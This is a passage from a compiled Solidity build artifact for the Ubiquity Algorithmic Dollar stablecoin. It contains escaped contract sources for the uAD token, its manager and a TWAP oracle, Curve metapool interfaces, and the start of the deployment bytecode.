pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IIncentive.sol\\\";\\nimport \\\"./ERC20Ubiquity.sol\\\";\\n\\ncontract UbiquityAlgorithmicDollar is ERC20Ubiquity {\\n /// @notice get associated incentive contract, 0 address if N/A\\n mapping(address => address) public incentiveContract;\\n\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n constructor(address _manager)\\n ERC20Ubiquity(_manager, \\\"Ubiquity Algorithmic Dollar\\\", \\\"uAD\\\")\\n {} // solhint-disable-line no-empty-blocks\\n\\n /// @param account the account to incentivize\\n /// @param incentive the associated incentive contract\\n /// @notice only UAD manager can set Incentive contract\\n function setIncentiveContract(address account, address incentive) external {\\n require(\\n ERC20Ubiquity.manager.hasRole(\\n ERC20Ubiquity.manager.UBQ_TOKEN_MANAGER_ROLE(),\\n msg.sender\\n ),\\n \\\"Dollar: must have admin role\\\"\\n );\\n\\n incentiveContract[account] = incentive;\\n emit IncentiveContractUpdate(account, incentive);\\n }\\n\\n function _checkAndApplyIncentives(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal {\\n // incentive on sender\\n address senderIncentive = incentiveContract[sender];\\n if (senderIncentive != address(0)) {\\n IIncentive(senderIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // incentive on recipient\\n address recipientIncentive = incentiveContract[recipient];\\n if (recipientIncentive != address(0)) {\\n IIncentive(recipientIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // incentive on operator\\n address operatorIncentive = incentiveContract[msg.sender];\\n if (\\n msg.sender != sender &&\\n msg.sender != recipient &&\\n operatorIncentive != address(0)\\n ) {\\n IIncentive(operatorIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // all incentive, if active applies to every transfer\\n address allIncentive = incentiveContract[address(0)];\\n if (allIncentive != address(0)) {\\n IIncentive(allIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal override {\\n super._transfer(sender, recipient, amount);\\n _checkAndApplyIncentives(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0xbbde4f7cf669cadae6c303b45c640d12da3cd6e97557c188e2f5cc27b3b7fd4c\",\"license\":\"MIT\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IIncentive.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\n/// @title incentive contract interface\\n/// @notice Called by uAD token contract when transferring with an incentivized address\\n/// @dev should be appointed as a Minter or Burner as needed\\ninterface IIncentive {\\n /// @notice apply incentives on transfer\\n /// @param sender the sender address of uAD\\n /// @param receiver the receiver address of uAD\\n /// @param operator the operator (msg.sender) of the transfer\\n /// @param amount the amount of uAD transferred\\n function incentivize(\\n address sender,\\n address receiver,\\n address operator,\\n uint256 amount\\n ) external;\\n}\\n\",\"keccak256\":\"0x38a8564acc4a3de67d7a53a2ddd78ac728db25651e03e3d9c13e345dfa79a7b5\",\"license\":\"MIT\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"}},\"version\":1}", - "bytecode": "0x60806040523480156200001157600080fd5b506040516200275b3803806200275b833981016040819052620000349162000467565b806040518060400160405280601b81526020017f556269717569747920416c676f726974686d696320446f6c6c61720000000000815250604051806040016040528060038152602001621d505160ea1b81525081818160039080519060200190620000a1929190620003c1565b508051620000b7906004906020840190620003c1565b50506005805460ff19169055508151620000d9906008906020850190620003c1565b508051620000ef906009906020840190620003c1565b5060058054610100600160a81b0319166101006001600160a01b03868116820292909217928390556040805163a217fddf60e01b8152905191909304909116916391d1485491839163a217fddf916004808301926020929190829003018186803b1580156200015d57600080fd5b505afa15801562000172573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001989190620004b9565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015620001d657600080fd5b505afa158015620001eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000211919062000497565b620002705760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b606482015260840160405180910390fd5b467f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6200029c62000327565b805160209182012060408051808201825260018152603160f81b90840152805192830193909352918101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc66060820152608081018290523060a082015260c0016040516020818303038152906040528051906020012060068190555050505050506200050f565b6060600880546200033890620004d2565b80601f01602080910402602001604051908101604052809291908181526020018280546200036690620004d2565b8015620003b75780601f106200038b57610100808354040283529160200191620003b7565b820191906000526020600020905b8154815290600101906020018083116200039957829003601f168201915b5050505050905090565b828054620003cf90620004d2565b90600052602060002090601f016020900481019282620003f357600085556200043e565b82601f106200040e57805160ff19168380011785556200043e565b828001600101855582156200043e579182015b828111156200043e57825182559160200191906001019062000421565b506200044c92915062000450565b5090565b5b808211156200044c576000815560010162000451565b60006020828403121562000479578081fd5b81516001600160a01b038116811462000490578182fd5b9392505050565b600060208284031215620004a9578081fd5b8151801515811462000490578182fd5b600060208284031215620004cb578081fd5b5051919050565b600181811c90821680620004e757607f821691505b602082108114156200050957634e487b7160e01b600052602260045260246000fd5b50919050565b61223c806200051f6000396000f3fe608060405234801561001057600080fd5b50600436106101ae5760003560e01c806370a08231116100ee578063a9059cbb11610097578063bc701e7511610071578063bc701e7514610378578063c47f0027146103a1578063d505accf146103b4578063dd62ed3e146103c7576101ae565b8063a9059cbb1461033f578063b6232c9914610352578063b84c824614610365576101ae565b80638456cb59116100c85780638456cb591461031c57806395d89b4114610324578063a457c2d71461032c576101ae565b806370a08231146102d657806379cc6790146102e95780637ecebe00146102fc576101ae565b80633644e5151161015b57806340c10f191161013557806340c10f191461027557806342966c6814610288578063481c6a751461029b5780635c975abb146102cb576101ae565b80633644e5151461024f57806339509351146102585780633f4ba83a1461026b576101ae565b806323b872dd1161018c57806323b872dd1461020657806330adf81f14610219578063313ce56714610240576101ae565b806306fdde03146101b3578063095ea7b3146101d157806318160ddd146101f4575b600080fd5b6101bb610400565b6040516101c8919061212b565b60405180910390f35b6101e46101df366004612008565b610492565b60405190151581526020016101c8565b6002545b6040519081526020016101c8565b6101e4610214366004611f5c565b6104a8565b6101f87f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b604051601281526020016101c8565b6101f860065481565b6101e4610266366004612008565b610573565b6102736105aa565b005b610273610283366004612008565b6106fe565b610273610296366004612113565b6108dd565b6005546102b39061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101c8565b60055460ff166101e4565b6101f86102e4366004611f09565b610964565b6102736102f7366004612008565b610983565b6101f861030a366004611f09565b60076020526000908152604090205481565b610273610b64565b6101bb610cb6565b6101e461033a366004612008565b610cc5565b6101e461034d366004612008565b610d78565b610273610360366004611f2a565b610d85565b610273610373366004612069565b610f3e565b6102b3610386366004611f09565b600a602052600090815260409020546001600160a01b031681565b6102736103af366004612069565b6110ad565b6102736103c2366004611f97565b611218565b6101f86103d5366004611f2a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606008805461040f906121ad565b80601f016020809104026020016040519081016040528092919081815260200182805461043b906121ad565b80156104885780601f1061045d57610100808354040283529160200191610488565b820191906000526020600020905b81548152906001019060200180831161046b57829003601f168201915b5050505050905090565b600061049f338484611437565b50600192915050565b60006104b584848461155c565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156105545760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61056885336105638685612196565b611437565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161049f91859061056390869061217e565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b1580156105fb57600080fd5b505afa15801561060f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106339190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561067057600080fd5b505afa158015610684573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a89190612031565b6106f45760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161054b565b6106fc611577565b565b60055460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b15801561074f57600080fd5b505afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107879190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156107c457600080fd5b505afa1580156107d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fc9190612031565b61084857604051